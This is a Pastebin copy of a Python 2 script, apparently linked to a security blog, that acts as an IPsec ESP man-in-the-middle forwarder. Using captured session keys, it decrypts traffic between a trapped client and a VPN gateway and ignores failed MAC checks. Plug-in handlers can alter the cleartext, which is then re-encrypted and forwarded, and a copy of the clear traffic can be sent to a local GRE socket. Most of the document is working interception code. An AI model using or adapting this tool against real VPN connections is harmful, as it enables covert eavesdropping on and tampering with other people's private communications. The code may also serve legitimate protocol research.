Advertisement
mitshell

Untitled

Aug 30th, 2011
422
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.11 KB | None | 0 0
  1. # ESP_forwarder.py
  2. # For IPsec ESP man in the middle
  3. #
  4. # http://graland-security.blogspot.com
  5. #
  6. #!/usr/bin/env python2
  7.  
  8. from struct import pack, unpack
  9. from select import select
  10. from binascii import hexlify
  11. from time import sleep
  12. import socket
  13. import hmac, hashlib
  14. try:
  15.     from Crypto.Cipher import AES
  16. except ImportError:
  17.     print '[WNG] pycrypto not found:'\
  18.           'ESP.protect() / ESP.unprotect() will fail'
  19. #
  20. #
  21. # when receiving ESP, unprotect it and get payload with a given SA
  22. # and protect it back with the other SA and forward it
  23. #
  24. class ESP_forwarder(object):
  25.    
  26.     # class debugging level
  27.     dbg = 0
  28.     #
  29.     # local socket parameters for handling ESP packets
  30.     local_ip = '192.168.1.10'
  31.     local_port = 4500
  32.     sk_timeout = 5
  33.     sk_buflen = 4096
  34.     #
  35.     # cipher block length / HMAC length,
  36.     # for ESP packet parsing / building routine
  37.     blen, hlen = 16, 12
  38.     #
  39.     # local socket address for ESP (tunnel) clear traffic duplication
  40.     # over GRE protocol
  41.     dup_ip = '127.10.10.10'
  42.     # dummy GRE header for carrying IPv4 packet
  43.     gre_hdr = '\0\0\x08\0'
  44.     #
  45.     # And finally, trapped client and server net address
  46.     cli_addr = ('192.168.1.15', 4500)
  47.     srv_addr = ('10.20.30.40', 4500)
  48.    
  49.     def __init__(self, SA_cli={}, SA_srv={}):
  50.         #
  51.         # init traffic handlers (e.g. proxies / modifiers)
  52.         self.modules = []
  53.         # a traffic handler is a 2-tuple (handler, bool)
  54.         # where handler(buf) -> buf,
  55.         # with 'buf' being the IPsec ESP internal payload;
  56.         # bool=True makes the handler one-shot,
  57.         # while bool=False makes the handler remaining as a hook
  58.         # until it is explicitely removed with rmmod()
  59.         #
  60.         # SA = {'SPIi':[Kenci, Kauti, SPIi], 'SPIr':[Kencr, Kautr, SPIr]}
  61.         # SA_cli is the SA established with the client, which is the initiator
  62.         # SA_srv is the SA established with the gateway, which is the responder
  63.         self.SA_cli = SA_cli
  64.         self.SA_srv = SA_srv
  65.         # create the UDP socket on port 4500
  66.         self.sk = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, \
  67.                                 socket.IPPROTO_UDP)
  68.         self.sk.settimeout(self.sk_timeout)
  69.         self.sk.bind((self.local_ip, self.local_port))
  70.         # running loop condition
  71.         self.must_stop = False
  72.    
  73.     def run(self, duplicate_local=False):
  74.         # run a select() loop
  75.         # and transfer ESP incoming packet
  76.         peers = (self.cli_addr, self.srv_addr)
  77.         # count packets handled
  78.         cnt = 0
  79.         # for traffic duplication, send clear packet into dummy GRE header
  80.         # to local interface with RAW socket
  81.         # IPPROTO_GRE is 47
  82.         if duplicate_local:
  83.             self.gre_sk = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)
  84.             self.gre_sk.bind((self.dup_ip, 0))
  85.         # Loop on select
  86.         while not self.must_stop:
  87.             recv = select([self.sk], [], [], self.sk_timeout)[0]
  88.             for r in recv:
  89.                 buf = ''
  90.                 (buf, addr) = r.recvfrom(self.sk_buflen)
  91.                 #print('from: %s' % addr)
  92.                 if buf and addr in peers:
  93.                     cnt += 1
  94.                     buf = self.transfer(buf, duplicate_local)
  95.                     if buf:
  96.                         dst = peers[(peers.index(addr)+1)%2]
  97.                         #print('to: %s' % dst)
  98.                         self.sk.sendto(buf, dst)
  99.                     if cnt == 1024:
  100.                         cnt = 0
  101.                         print '[+] 1024 more packets handled'
  102.         # close sockets when thread is ending
  103.         self.sk.close()
  104.         self.gre_sk.close()
  105.    
  106.     def stop(self):
  107.         self.must_stop = True
  108.         sleep(self.sk_timeout)
  109.    
  110.     def transfer(self, espbuf, duplicate_local=False):
  111.         # function that gets a packet from a given SPI (cli or srv)
  112.         # unprotect it accordingly
  113.         # and protect it with the corresponding other side SPI (srv or cli)
  114.         spi = espbuf[:4]
  115.        
  116.         # check if IKEv2 packet received
  117.         if spi == '\0\0\0\0':
  118.             if self.dbg:
  119.                 print('[+] Got IKEv2 packet... ignored')
  120.             # if an IKEv2 delete is received
  121.             # (next payload is 42 in the Encryted payload header)
  122.             if ord(espbuf[32]) == 42:
  123.                 print('[+] Got an IKEv2 DELETE packet')
  124.             return ''
  125.        
  126.         # check if packet incoming from the client
  127.         elif spi == self.SA_cli['SPIi'][2]:
  128.             if self.dbg:
  129.                 print('[+] Got ESP packet from cli / initiator')
  130.             # unprotect with the keys from the cli initiator
  131.             buf, (seq, iv) = self.unprotect(espbuf, self.SA_cli['SPIi'][0])
  132.             buf = self.handle(self.__unpad_espbuf(buf))
  133.             if duplicate_local:
  134.                 self.__duplicate(buf)
  135.             # protect with the keys from the srv initiator
  136.             return self.protect(self.__pad_espbuf(buf), self.SA_srv['SPIi'], \
  137.                                 (seq, iv))
  138.        
  139.         # check if packet incoming from the gw
  140.         elif spi == self.SA_srv['SPIr'][2]:
  141.             if self.dbg:
  142.                 print('[+] Got ESP packet from srv / responder')
  143.             # unprotect with the keys from the srv responder
  144.             buf, (seq, iv) = self.unprotect(espbuf, self.SA_srv['SPIr'][0])
  145.             buf = self.handle(self.__unpad_espbuf(buf))
  146.             if duplicate_local:
  147.                 self.__duplicate(buf)
  148.             # protect with the keys from the cli responder
  149.             return self.protect(self.__pad_espbuf(buf), self.SA_cli['SPIr'], \
  150.                                 (seq, iv))
  151.        
  152.         else:
  153.             if self.dbg:
  154.                 print('[+] Got ESP packet with unknown SPI')
  155.             return ''
  156.        
  157.     def unprotect(self, buf, Kenc, Kaut=''):
  158.         # get ESP header (SPI, seq and cipher init) and trailer (MAC)
  159.         spi = buf[0:4]
  160.         seq = unpack('!I', buf[4:8])[0]
  161.         # IV hardcoded for AES-CBC-128
  162.         iv = buf[8:8+self.blen]
  163.         # MAC length hardcoded for HMAC-96
  164.         mac = buf[-self.hlen:]
  165.         # verify MAC
  166.         if Kaut:
  167.             if mac != hmac.new(Kaut, buf[:-self.hlen]+self.hlen*'\0', \
  168.                                hashlib.sha1).digest()[0:self.hlen]:
  169.                 print '[+] Received ESP packet with false MAC: do not care'
  170.         # get ciphered part only
  171.         buf = buf[8+self.blen:-self.hlen]
  172.         # decipher with Kenc, alg is AES-CBC-128
  173.         alg = AES.new(key=Kenc, mode=2, IV=iv)
  174.         buf = alg.decrypt(buf)
  175.         # and return it with (seq, iv) to be reused
  176.         if self.dbg > 1:
  177.             print('[DBG] raw unprotected ESP buffer:\n%s\n' % hexlify(buf))
  178.         return buf, (seq, iv)
  179.    
  180.     def protect(self, buf, (Kenc, Kaut, spi), (seq, iv)):
  181.         # make ESP header
  182.         hdr = ''.join((spi, pack('!I', seq), iv))
  183.         # cipher buffer with Kenc
  184.         alg = AES.new(key=Kenc, mode=2, IV=iv)
  185.         buf = alg.encrypt(buf)
  186.         # make MAC with Kaut, alg is HMAC-SHA1-96
  187.         buf = ''.join((hdr, buf))
  188.         buf = ''.join((buf, hmac.new(Kaut, buf, hashlib.sha1).digest()[0:12]))
  189.         # return the complete ESP payload
  190.         return buf
  191.    
  192.     def handle(self, buf):
  193.         # manages IPsec ESP internal traffic handlers
  194.         for handler in self.modules:
  195.             retbuf = handler[0](buf)
  196.             if retbuf !=buf and handler[1]:
  197.                 self.rmmod(handler[0])
  198.             buf = retbuf
  199.         return buf
  200.    
  201.     def __unpad_espbuf(self, buf):
  202.         # padding (*pad length) + uint8 (pad length) + uint8 (next header)
  203.         return buf[:-(unpack('!B', buf[-2:-1])[0]+2)]
  204.    
  205.     def __pad_espbuf(self, buf):
  206.         # check how much bytes are needed to match the encryption block length
  207.         padlen = self.blen-(len(buf)+2)%self.blen
  208.         return ''.join([buf] + [chr(i+1) for i in range(padlen)] + \
  209.                        [chr(padlen), chr(4)])
  210.    
  211.     def __duplicate(self, buf):
  212.         if hasattr(self, 'gre_sk'):
  213.             # send GRE frame
  214.             self.gre_sk.sendto(''.join((self.gre_hdr, buf)), (self.dup_ip, 0))
  215.    
  216.     # Those 3 methods are for managing dynamically clear traffic handlers
  217.     def insmod(self, handler, oneshot_modifier=True):
  218.         if type(oneshot_modifier) is not bool:
  219.             oneshot_modifier = True
  220.         if handler not in [h[0] for h in self.modules]:
  221.             self.modules.append((handler, oneshot_modifier))
  222.             print('[+] handler %s inserted' % handler)
  223.         else:
  224.             print('[+] handler already inserted')
  225.    
  226.     def rmmod(self, handler):
  227.         if handler in [h[0] for h in self.modules]:
  228.             try:
  229.                 self.modules.remove((handler, True))
  230.             except ValueError:
  231.                 self.modules.remove((handler, False))
  232.             print('[+] handler %s removed' % handler)
  233.         else:
  234.             print('[+] handler not present')
  235.    
  236.     def lsmod(self):
  237.         print('[+] handlers engaged:\n%s' % [h[0] for h in self.modules])
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement